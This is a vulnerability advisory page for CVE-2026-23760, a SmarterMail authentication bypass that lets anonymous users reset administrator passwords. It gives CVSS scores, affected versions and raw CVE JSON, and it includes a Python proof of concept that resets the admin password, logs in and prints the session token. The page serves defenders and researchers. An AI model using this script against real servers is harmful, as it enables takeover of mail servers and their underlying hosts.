Security Vulnerability Report
中文
CVE-2026-23760 CVSS 9.8 CRITICAL

CVE-2026-23760

Published: 2026-01-22 15:16:55
Last Modified: 2026-01-27 16:16:55

Description

SmarterTools SmarterMail versions prior to build 9511 contain an authentication bypass vulnerability in the password reset API. The force-reset-password endpoint permits anonymous requests and fails to verify the existing password or a reset token when resetting system administrator accounts. An unauthenticated attacker can supply a target administrator username and a new password to reset the account, resulting in full administrative compromise of the SmarterMail instance. NOTE: SmarterMail system administrator privileges grant the ability to execute operating system commands via built-in management functionality, effectively providing administrative (SYSTEM or root) access on the underlying host.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:smartertools:smartermail:*:*:*:*:*:*:*:* - VULNERABLE
SmarterTools SmarterMail < build 9511

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json target = "http://target-server.com" admin_username = "admin" new_password = "P@ssw0rd123!" # Force reset administrator password via unauthenticated API call endpoint = f"{target}/api/v1/authentication/force-reset-password" payload = { "username": admin_username, "newPassword": new_password } headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0" } response = requests.post(endpoint, json=payload, headers=headers) print(f"Status: {response.status_code}") print(f"Response: {response.text}") # Verify login with new password if response.status_code == 200: login_endpoint = f"{target}/api/v1/authentication/login" login_data = { "username": admin_username, "password": new_password } login_response = requests.post(login_endpoint, json=login_data, headers=headers) print(f"Login Status: {login_response.status_code}") if login_response.status_code == 200: print("[+] Successfully gained administrator access!") token = login_response.json().get("token") print(f"Auth Token: {token}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-23760", "sourceIdentifier": "[email protected]", "published": "2026-01-22T15:16:55.120", "lastModified": "2026-01-27T16:16:55.327", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "SmarterTools SmarterMail versions prior to build 9511 contain an authentication bypass vulnerability in the password reset API. The force-reset-password endpoint permits anonymous requests and fails to verify the existing password or a reset token when resetting system administrator accounts. An unauthenticated attacker can supply a target administrator username and a new password to reset the account, resulting in full administrative compromise of the SmarterMail instance. NOTE: SmarterMail system administrator privileges grant the ability to execute operating system commands via built-in management functionality, effectively providing administrative (SYSTEM or root) access on the underlying host."}, {"lang": "es", "value": "Las versiones de SmarterTools SmarterMail anteriores a la compilación 9511 contienen una vulnerabilidad de omisión de autenticación en la API de restablecimiento de contraseña. El endpoint force-reset-password permite solicitudes anónimas y no verifica la contraseña existente o un token de restablecimiento al restablecer cuentas de administrador del sistema. Un atacante no autenticado puede proporcionar un nombre de usuario de administrador objetivo y una nueva contraseña para restablecer la cuenta, lo que resulta en un compromiso de administración total de la instancia de SmarterMail. NOTA: Los privilegios de administrador del sistema de SmarterMail otorgan la capacidad de ejecutar comandos del sistema operativo a través de la funcionalidad de gestión incorporada, proporcionando efectivamente acceso de administrador (SYSTEM o root) en el host subyacente."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "cisaExploitAdd": "2026-01-26", "cisaActionDue": "2026-02-16", "cisaRequiredAction": "Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.", "cisaVulnerabilityName": "SmarterTools SmarterMail Authentication Bypass Using an Alternate Path or Channel Vulnerability", "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-288"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:smartertools:smartermail:*:*:*:*:*:*:*:*", "versionEndExcluding": "100.0.9511", "matchCriteriaId": "D508C7EA-385D-428C-ACD3-9E2F93F0FB31"}]}]}], "references": [{"url": "https://code-white.com/public-vulnerability-list/#authenticationserviceforceresetpassword-missing-authentication-in-smartermail", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://labs.watchtowr.com/attackers-with-decompilers-strike-again-smartertools-smarterma ... (truncated)